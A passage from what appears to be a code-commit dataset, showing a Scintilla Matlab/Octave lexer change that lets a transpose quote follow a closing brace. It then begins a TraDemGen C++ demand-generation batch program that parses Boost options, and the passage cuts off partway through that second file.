(sc.ch == '\\'') {\n\t\t\t\tif (transpose) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_STRING);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\"') {\n\t\t\t\tsc.SetState(SCE_MATLAB_DOUBLEQUOTESTRING);\n\t\t\t} else if (isdigit(sc.ch) || (sc.ch == '.' && isdigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_NUMBER);\n\t\t\t} else if (isalpha(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_MATLAB_KEYWORD);\n\t\t\t} else if (isoperator(static_cast<char>(sc.ch)) || sc.ch == '@' || sc.ch == '\\\\') {\n\t\t\t\tif (sc.ch == ')' || sc.ch == ']') {\n\t\t\t\t\ttranspose = true;\n\t\t\t\t} else {\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t} else {\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void ColouriseMatlabDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabCommentChar, true);\n}\n\nstatic void ColouriseOctaveDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveCommentChar, false);\n}\n\nstatic void FoldMatlabOctaveDoc(unsigned int startPos, int length, int,\n                                WordList *[], Accessor &styler,\n                                bool (*IsComment)(Accessor&, int, int)) {\n\n\tint endPos = startPos + length;\n\n\t\/\/ Backtrack to previous line in case need to fix its fold status\n\tint lineCurrent = styler.GetLine(startPos);\n\tif (startPos > 0) {\n\t\tif (lineCurrent > 0) {\n\t\t\tlineCurrent--;\n\t\t\tstartPos = styler.LineStart(lineCurrent);\n\t\t}\n\t}\n\tint spaceFlags = 0;\n\tint indentCurrent = styler.IndentAmount(lineCurrent, &spaceFlags, IsComment);\n\tchar chNext = styler[startPos];\n\tfor (int i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n') || (i == endPos)) {\n\t\t\tint lev = indentCurrent;\n\t\t\tint indentNext = styler.IndentAmount(lineCurrent + 1, &spaceFlags, IsComment);\n\t\t\tif (!(indentCurrent & SC_FOLDLEVELWHITEFLAG)) {\n\t\t\t\t\/\/ Only non whitespace lines can be headers\n\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t} else if (indentNext & SC_FOLDLEVELWHITEFLAG) {\n\t\t\t\t\t\/\/ Line after is blank so check the next - maybe should continue further?\n\t\t\t\t\tint spaceFlags2 = 0;\n\t\t\t\t\tint indentNext2 = styler.IndentAmount(lineCurrent + 2, &spaceFlags2, IsComment);\n\t\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext2 & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tindentCurrent = indentNext;\n\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\tlineCurrent++;\n\t\t}\n\t}\n}\n\nstatic void FoldMatlabDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabComment);\n}\n\nstatic void FoldOctaveDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveComment);\n}\n\nstatic const char * const matlabWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nstatic const char * const octaveWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nLexerModule lmMatlab(SCLEX_MATLAB, ColouriseMatlabDoc, \"matlab\", FoldMatlabDoc, matlabWordListDesc);\n\nLexerModule lmOctave(SCLEX_OCTAVE, ColouriseOctaveDoc, \"octave\", FoldOctaveDoc, octaveWordListDesc);\n<commit_msg>Support transpose character after {} operator<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexMatlab.cxx\n ** Lexer for Matlab.\n ** Written by Jos Fonseca\n **\n ** Changes by Christoph Dalitz 2003\/12\/04:\n **   - added support for Octave\n **   - Strings can now be included both in single or double quotes\n **\n ** Changes by John Donoghue 2012\/04\/02\n **   - added block comment (and nested block comments)\n **   - added ... displayed as a comment\n **   - removed unused IsAWord functions\n **   - added some comments\n **\n ** Changes by John Donoghue 2014\/08\/01\n **   - fix allowed transpose ' after {} operator\n **\/\n\/\/ Copyright 1998-2001 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <ctype.h>\n\n#include \"ILexer.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#include \"WordList.h\"\n#include \"LexAccessor.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"LexerModule.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic bool IsMatlabCommentChar(int c) {\n\treturn (c == '%') ;\n}\n\nstatic bool IsOctaveCommentChar(int c) {\n\treturn (c == '%' || c == '#') ;\n}\n\nstatic bool IsMatlabComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsMatlabCommentChar(styler[pos]) ;\n}\n\nstatic bool IsOctaveComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsOctaveCommentChar(styler[pos]) ;\n}\n\nstatic void ColouriseMatlabOctaveDoc(\n            unsigned int startPos, int length, int initStyle,\n            WordList *keywordlists[], Accessor &styler,\n            bool (*IsCommentChar)(int),\n            bool ismatlab) {\n\n\tWordList &keywords = *keywordlists[0];\n\n\tstyler.StartAt(startPos);\n\n\t\/\/ boolean for when the ' is allowed to be transpose vs the start\/end \n\t\/\/ of a string\n\tbool transpose = false;\n\n\t\/\/ approximate position of first non space character in a line\n\tint nonSpaceColumn = -1;\n\t\/\/ approximate column position of the current character in a line\n\tint column = 0;\n\n        \/\/ use the line state of each line to store the block comment depth\n\tint curLine = styler.GetLine(startPos);\n        int commentDepth = curLine > 0 ? styler.GetLineState(curLine-1) : 0;\n\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\n\tfor (; sc.More(); sc.Forward(), column++) {\n\n               \tif(sc.atLineStart) {\n\t\t\t\/\/ set the line state to the current commentDepth \n\t\t\tcurLine = styler.GetLine(sc.currentPos);\n                        styler.SetLineState(curLine, commentDepth);\n\n\t\t\t\/\/ reset the column to 0, nonSpace to -1 (not set)\n\t\t\tcolumn = 0;\n\t\t\tnonSpaceColumn = -1; \n\t\t}\n\n\t\t\/\/ save the column position of first non space character in a line\n\t\tif((nonSpaceColumn == -1) && (! IsASpace(sc.ch)))\n\t\t{\n\t\t\tnonSpaceColumn = column;\n\t\t}\n\n\t\t\/\/ check for end of states\n\t\tif (sc.state == SCE_MATLAB_OPERATOR) {\n\t\t\tif (sc.chPrev == '.') {\n\t\t\t\tif (sc.ch == '*' || sc.ch == '\/' || sc.ch == '\\\\' || sc.ch == '^') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n                                } else if(sc.ch == '.' && sc.chNext == '.') {\n                                        \/\/ we werent an operator, but a '...' \n                                        sc.ChangeState(SCE_MATLAB_COMMENT);\n                                        transpose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_KEYWORD) {\n\t\t\tif (!isalnum(sc.ch) && sc.ch != '_') {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrentLowered(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.ChangeState(SCE_MATLAB_IDENTIFIER);\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_NUMBER) {\n\t\t\tif (!isdigit(sc.ch) && sc.ch != '.'\n\t\t\t        && !(sc.ch == 'e' || sc.ch == 'E')\n\t\t\t        && !((sc.ch == '+' || sc.ch == '-') && (sc.chPrev == 'e' || sc.chPrev == 'E'))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = true;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_STRING) {\n\t\t\tif (sc.ch == '\\'') {\n\t\t\t\tif (sc.chNext == '\\'') {\n \t\t\t\t\tsc.Forward();\n\t\t\t\t} else {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n \t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_DOUBLEQUOTESTRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMAND) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMENT) {\n\t\t\t\/\/ end or start of a nested a block comment?\n\t\t\tif( IsCommentChar(sc.ch) && sc.chNext == '}' && nonSpaceColumn == column) {\n                           \tif(commentDepth > 0) commentDepth --;\n \n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\n\t\t\t\tif (commentDepth == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_D_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n                        }\n                        else if( IsCommentChar(sc.ch) && sc.chNext == '{' && nonSpaceColumn == column)\n                        {\n \t\t\t\tcommentDepth ++;\n\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\t\t\t\ttranspose = false;\n\n                        } else if(commentDepth == 0) {\n\t\t\t\t\/\/ single line comment\n\t\t\t\tif (sc.atLineEnd || sc.ch == '\\r' || sc.ch == '\\n') {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ check start of a new state\n\t\tif (sc.state == SCE_MATLAB_DEFAULT) {\n\t\t\tif (IsCommentChar(sc.ch)) {\n\t\t\t\t\/\/ ncrement depth if we are a block comment\n\t\t\t\tif(sc.chNext == '{' && nonSpaceColumn == column)\n\t\t\t\t\tcommentDepth ++;\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.SetState(SCE_MATLAB_COMMENT);\n\t\t\t} else if (sc.ch == '!' && sc.chNext != '=' ) {\n\t\t\t\tif(ismatlab) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_COMMAND);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tif (transpose) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_STRING);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\"') {\n\t\t\t\tsc.SetState(SCE_MATLAB_DOUBLEQUOTESTRING);\n\t\t\t} else if (isdigit(sc.ch) || (sc.ch == '.' && isdigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_NUMBER);\n\t\t\t} else if (isalpha(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_MATLAB_KEYWORD);\n\t\t\t} else if (isoperator(static_cast<char>(sc.ch)) || sc.ch == '@' || sc.ch == '\\\\') {\n\t\t\t\tif (sc.ch == ')' || sc.ch == ']' || sc.ch == '}') {\n\t\t\t\t\ttranspose = true;\n\t\t\t\t} else {\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t} else {\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void ColouriseMatlabDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabCommentChar, true);\n}\n\nstatic void ColouriseOctaveDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveCommentChar, false);\n}\n\nstatic void FoldMatlabOctaveDoc(unsigned int startPos, int length, int,\n                                WordList *[], Accessor &styler,\n                                bool (*IsComment)(Accessor&, int, int)) {\n\n\tint endPos = startPos + length;\n\n\t\/\/ Backtrack to previous line in case need to fix its fold status\n\tint lineCurrent = styler.GetLine(startPos);\n\tif (startPos > 0) {\n\t\tif (lineCurrent > 0) {\n\t\t\tlineCurrent--;\n\t\t\tstartPos = styler.LineStart(lineCurrent);\n\t\t}\n\t}\n\tint spaceFlags = 0;\n\tint indentCurrent = styler.IndentAmount(lineCurrent, &spaceFlags, IsComment);\n\tchar chNext = styler[startPos];\n\tfor (int i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n') || (i == endPos)) {\n\t\t\tint lev = indentCurrent;\n\t\t\tint indentNext = styler.IndentAmount(lineCurrent + 1, &spaceFlags, IsComment);\n\t\t\tif (!(indentCurrent & SC_FOLDLEVELWHITEFLAG)) {\n\t\t\t\t\/\/ Only non whitespace lines can be headers\n\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t} else if (indentNext & SC_FOLDLEVELWHITEFLAG) {\n\t\t\t\t\t\/\/ Line after is blank so check the next - maybe should continue further?\n\t\t\t\t\tint spaceFlags2 = 0;\n\t\t\t\t\tint indentNext2 = styler.IndentAmount(lineCurrent + 2, &spaceFlags2, IsComment);\n\t\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext2 & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tindentCurrent = indentNext;\n\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\tlineCurrent++;\n\t\t}\n\t}\n}\n\nstatic void FoldMatlabDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabComment);\n}\n\nstatic void FoldOctaveDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveComment);\n}\n\nstatic const char * const matlabWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nstatic const char * const octaveWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nLexerModule lmMatlab(SCLEX_MATLAB, ColouriseMatlabDoc, \"matlab\", FoldMatlabDoc, matlabWordListDesc);\n\nLexerModule lmOctave(SCLEX_OCTAVE, ColouriseOctaveDoc, \"octave\", FoldOctaveDoc, octaveWordListDesc);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Import section\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ STL\n#include <cassert>\n#include <sstream>\n#include <fstream>\n#include <vector>\n#include <list>\n#include <string>\n\/\/  \/\/\/\/ Boost (Extended STL) \/\/\/\/\n\/\/ Boost Tokeniser\n#include <boost\/tokenizer.hpp>\n\/\/ Boost Program Options\n#include <boost\/program_options.hpp>\n\/\/ Boost Accumulators\n#include <boost\/accumulators\/accumulators.hpp>\n#include <boost\/accumulators\/statistics.hpp>\n\/\/ Boost Progress\n\/\/#include <boost\/progress.hpp>\n\/\/ StdAir\n#include <stdair\/stdair_basic_types.hpp>\n#include <stdair\/basic\/ProgressStatusSet.hpp>\n#include <stdair\/bom\/EventStruct.hpp>\n#include <stdair\/bom\/EventQueue.hpp>\n#include <stdair\/bom\/BookingRequestStruct.hpp>\n#include <stdair\/bom\/BomDisplay.hpp>\n#include <stdair\/service\/Logger.hpp>\n\/\/ TraDemGen\n#include <trademgen\/TRADEMGEN_Service.hpp>\n#include <trademgen\/config\/trademgen-paths.hpp>\n#include <trademgen\/config\/trademgen-paths.hpp>\n\n\/\/ Aliases for namespaces\nnamespace ba = boost::accumulators;\n\n\/\/ \/\/\/\/\/\/\/\/ Specific type definitions \/\/\/\/\/\/\/\ntypedef unsigned int NbOfRuns_T;\n\n\/** Type definition to gather statistics. *\/\ntypedef ba::accumulator_set<double,\n                            ba::stats<ba::tag::min, ba::tag::max,\n                                      ba::tag::mean (ba::immediate),\n                                      ba::tag::sum,\n                                      ba::tag::variance> > stat_acc_type;\n\n\/\/ \/\/\/\/\/\/\/\/ Constants \/\/\/\/\/\/\n\/** Default name and location for the log file. *\/\nconst stdair::Filename_T K_TRADEMGEN_DEFAULT_LOG_FILENAME (\"trademgen.log\");\n\n\/** Default name and location for the (CSV) input file. *\/\nconst stdair::Filename_T K_TRADEMGEN_DEFAULT_INPUT_FILENAME (STDAIR_SAMPLE_DIR\n                                                             \"\/demand01.csv\");\n\n\/** Default name and location for the (CSV) output file. *\/\nconst stdair::Filename_T K_TRADEMGEN_DEFAULT_OUTPUT_FILENAME (\"request.csv\");\n\n\/** Default number of random draws to be generated (best if over 100). *\/\nconst NbOfRuns_T K_TRADEMGEN_DEFAULT_RANDOM_DRAWS = 1;\n\n\/** Default for the input type. It can be either built-in or provided by an\n    input file. That latter must then be given with the -i option. *\/\nconst bool K_TRADEMGEN_DEFAULT_BUILT_IN_INPUT = false;\n\n\/** Early return status (so that it can be differentiated from an error). *\/\nconst int K_TRADEMGEN_EARLY_RETURN_STATUS = 99;\n\n\n\/** Display the statistics held by the dedicated accumulator. *\/\nvoid stat_display (std::ostream& oStream, const stat_acc_type& iStatAcc) {\n\n  \/\/ Store current formatting flags of the output stream\n  std::ios::fmtflags oldFlags = oStream.flags();\n\n  \/\/\n  oStream.setf (std::ios::fixed);\n  \n  \/\/\n  oStream << \"Statistics for the demand generation runs: \" << std::endl;\n  oStream << \"  minimum   = \" << ba::min (iStatAcc) << std::endl;\n  oStream << \"  mean      = \" << ba::mean (iStatAcc) << std::endl;\n  oStream << \"  maximum   = \" << ba::max (iStatAcc) << std::endl;\n  oStream << \"  count     = \" << ba::count (iStatAcc) << std::endl;\n  oStream << \"  variance  = \" << ba::variance (iStatAcc) << std::endl;\n  \n  \/\/ Reset formatting flags of output stream\n  oStream.flags (oldFlags);\n}\n\n\/\/ \/\/\/\/\/\/\/\/\/ Parsing of Options & Configuration \/\/\/\/\/\/\/\/\/\n\/\/ A helper function to simplify the main part.\ntemplate<class T> std::ostream& operator<< (std::ostream& os,\n                                            const std::vector<T>& v) {\n  std::copy (v.begin(), v.end(), std::ostream_iterator<T> (std::cout, \" \")); \n  return os;\n}\n\n\/** Read and parse the command line options. *\/\nint readConfiguration (int argc, char* argv[], bool& ioIsBuiltin,\n                       NbOfRuns_T& ioRandomRuns,\n                       stdair::Filename_T& ioInputFilename,\n                       stdair::Filename_T& ioOutputFilename,\n                       stdair::Filename_T& ioLogFilename) {\n\n  \/\/ Default for the built-in input\n  ioIsBuiltin = K_TRADEMGEN_DEFAULT_BUILT_IN_INPUT;\n\n  \/\/ Declare a group of options that will be allowed only on command line\n  boost::program_options::options_description generic (\"Generic options\");\n  generic.add_options()\n    (\"prefix\", \"print installation prefix\")\n    (\"version,v\", \"print version string\")\n    (\"help,h\", \"produce help message\");\n    \n  \/\/ Declare a group of options that will be allowed both on command\n  \/\/ line and in config file\n  boost::program_options::options_description config (\"Configuration\");\n  config.add_options()\n    (\"builtin,b\",\n     \"The sample BOM tree can be either built-in or parsed from an input file. That latter must then be given with the -i\/--input option\")\n    (\"draws,d\",\n     boost::program_options::value<NbOfRuns_T>(&ioRandomRuns)->default_value(K_TRADEMGEN_DEFAULT_RANDOM_DRAWS), \n     \"Number of runs for the demand generations\")\n    (\"input,i\",\n     boost::program_options::value< std::string >(&ioInputFilename)->default_value(K_TRADEMGEN_DEFAULT_INPUT_FILENAME),\n     \"(CVS) input file for the demand distributions\")\n    (\"output,o\",\n     boost::program_options::value< std::string >(&ioOutputFilename)->default_value(K_TRADEMGEN_DEFAULT_OUTPUT_FILENAME),\n     \"(CVS) output file for the generated requests\")\n    (\"log,l\",\n     boost::program_options::value< std::string >(&ioLogFilename)->default_value(K_TRADEMGEN_DEFAULT_LOG_FILENAME),\n     \"Filepath for the logs\")\n    ;\n\n  \/\/ Hidden options, will be allowed both on command line and\n  \/\/ in config file, but will not be shown to the user.\n  boost::program_options::options_description hidden (\"Hidden options\");\n  hidden.add_options()\n    (\"copyright\",\n     boost::program_options::value< std::vector<std::string> >(),\n     \"Show the copyright (license)\");\n        \n  boost::program_options::options_description cmdline_options;\n  cmdline_options.add(generic).add(config).add(hidden);\n\n  boost::program_options::options_description config_file_options;\n  config_file_options.add(config).add(hidden);\n\n  boost::program_options::options_description visible (\"Allowed options\");\n  visible.add(generic).add(config);\n        \n  boost::program_options::positional_options_description p;\n  p.add (\"copyright\", -1);\n        \n  boost::program_options::variables_map vm;\n  boost::program_options::\n    store (boost::program_options::command_line_parser (argc, argv).\n           options (cmdline_options).positional(p).run(), vm);\n\n  std::ifstream ifs (\"trademgen.cfg\");\n  boost::program_options::store (parse_config_file (ifs, config_file_options),\n                                 vm);\n  boost::program_options::notify (vm);\n    \n  if (vm.count (\"help\")) {\n    std::cout << visible << std::endl;\n    return K_TRADEMGEN_EARLY_RETURN_STATUS;\n  }\n\n  if (vm.count (\"version\")) {\n    std::cout << PACKAGE_NAME << \", version \" << PACKAGE_VERSION << std::endl;\n    return K_TRADEMGEN_EARLY_RETURN_STATUS;\n  }\n\n  if (vm.count (\"prefix\")) {\n    std::cout << \"Installation prefix: \" << PREFIXDIR << std::endl;\n    return K_TRADEMGEN_EARLY_RETURN_STATUS;\n  }\n\n  if (vm.count (\"builtin\")) {\n    ioIsBuiltin = true;\n  }\n  const std::string isBuiltinStr = (ioIsBuiltin == true)?\"yes\":\"no\";\n  std::cout << \"The BOM should be built-in? \" << isBuiltinStr << std::endl;\n\n  if (ioIsBuiltin == false) {\n\n    \/\/ The BOM tree should be built from parsing a demand input file\n    if (vm.count (\"input\")) {\n      ioInputFilename = vm[\"input\"].as< std::string >();\n      std::cout << \"Input filename is: \" << ioInputFilename << std::endl;\n\n    } else {\n      \/\/ The built-in option is not selected. However, no demand input file\n      \/\/ is specified\n      std::cerr << \"Either one among the -b\/--builtin and -i\/--input \"\n                << \"options must be specified\" << std::endl;\n    }\n  }\n\n  if (vm.count (\"output\")) {\n    ioOutputFilename = vm[\"output\"].as< std::string >();\n    std::cout << \"Output filename is: \" << ioOutputFilename << std::endl;\n  }\n\n  if (vm.count (\"log\")) {\n    ioLogFilename = vm[\"log\"].as< std::string >();\n    std::cout << \"Log filename is: \" << ioLogFilename << std::endl;\n  }\n\n  \/\/\n  std::cout << \"The number of runs is: \" << ioRandomRuns << std::endl;\n  \n  return 0;\n}\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid generateDemand (TRADEMGEN::TRADEMGEN_Service& ioTrademgenService,\n                     const stdair::Filename_T& iOutputFilename,\n                     const NbOfRuns_T& iNbOfRuns) {\n\n  \/\/ Open and clean the .csv output file\n  std::ofstream output;\n  output.open (iOutputFilename.c_str());\n  output.clear();\n    \n  \/\/ Initialise the statistics collector\/accumulator\n  stat_acc_type lStatAccumulator;\n\n  \/\/ Retrieve the expected (mean value of the) number of events to be\n  \/\/ generated\n  const stdair::Count_T& lExpectedNbOfEventsToBeGenerated =\n    ioTrademgenService.getExpectedTotalNumberOfRequestsToBeGenerated();\n\n  \/\/ Initialise the (Boost) progress display object\n  boost::progress_display lProgressDisplay (lExpectedNbOfEventsToBeGenerated\n                                            * iNbOfRuns);\n\n  \/\/ Choose the algorithm to generate booking requests dates.\n  const bool lGenerateDemandWithStatisticOrder = false;\n\n  for (NbOfRuns_T runIdx = 1; runIdx <= iNbOfRuns; ++runIdx) {\n    \/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    output << \"Run number: \" << runIdx << std::endl;\n\n    \/**\n       Initialisation step.\n       <br>Generate the first event for each demand stream.\n    *\/\n    const stdair::Count_T& lActualNbOfEventsToBeGenerated =\n      ioTrademgenService.generateFirstRequests(lGenerateDemandWithStatisticOrder);\n\n    \/\/ DEBUG\n    STDAIR_LOG_DEBUG (\"[\" << runIdx << \"] Expected: \"\n                      << lExpectedNbOfEventsToBeGenerated << \", actual: \"\n                      << lActualNbOfEventsToBeGenerated);\n      \n    \/**\n       Main loop.\n       <ul>\n       <li>Pop a request and get its associated type\/demand stream.<\/li>\n       <li>Generate the next request for the same type\/demand stream.<\/li>\n       <\/ul>\n    *\/\n    while (ioTrademgenService.isQueueDone() == false) {\n\n      \/\/ Extract the next event from the event queue\n      stdair::EventStruct lEventStruct;\n      stdair::ProgressStatusSet lProgressStatusSet =\n        ioTrademgenService.popEvent (lEventStruct);\n      \n      \/\/ DEBUG\n      \/\/ STDAIR_LOG_DEBUG (\"[\" << runIdx << \"] Poped event: '\"\n      \/\/                   << lEventStruct.describe() << \"'.\");\n      \n      \/\/ Extract the corresponding demand\/booking request\n      const stdair::BookingRequestStruct& lPoppedRequest =\n        lEventStruct.getBookingRequest();\n        \n      \/\/ DEBUG\n      STDAIR_LOG_DEBUG (\"[\" << runIdx << \"] Poped booking request: '\"\n                        << lPoppedRequest.describe() << \"'.\");\n    \n      \/\/ Dump the request into the dedicated CSV file\n      \/\/ stdair::BomDisplay::csvDisplay (output, lPoppedRequest);\n        \n      \/\/ Retrieve the corresponding demand stream key\n      const stdair::DemandGeneratorKey_T& lDemandStreamKey =\n        lPoppedRequest.getDemandGeneratorKey();\n      \n      \/\/ Assess whether more events should be generated for that demand stream\n      const bool stillHavingRequestsToBeGenerated = ioTrademgenService.\n        stillHavingRequestsToBeGenerated (lDemandStreamKey,\n                                          lProgressStatusSet,\n                                          lGenerateDemandWithStatisticOrder);\n\n      \/\/ DEBUG\n      STDAIR_LOG_DEBUG (lProgressStatusSet.describe());\n      STDAIR_LOG_DEBUG (\"=> [\" << lDemandStreamKey << \"] is now processed. \"\n                        << \"Still generate events for that demand stream? \"\n                        << stillHavingRequestsToBeGenerated);\n    \n      \/\/ If there are still events to be generated for that demand stream,\n      \/\/ generate and add them to the event queue\n      if (stillHavingRequestsToBeGenerated == true) {\n        \n        stdair::BookingRequestPtr_T lNextRequest_ptr =\n          ioTrademgenService.generateNextRequest (lDemandStreamKey,\n                                                  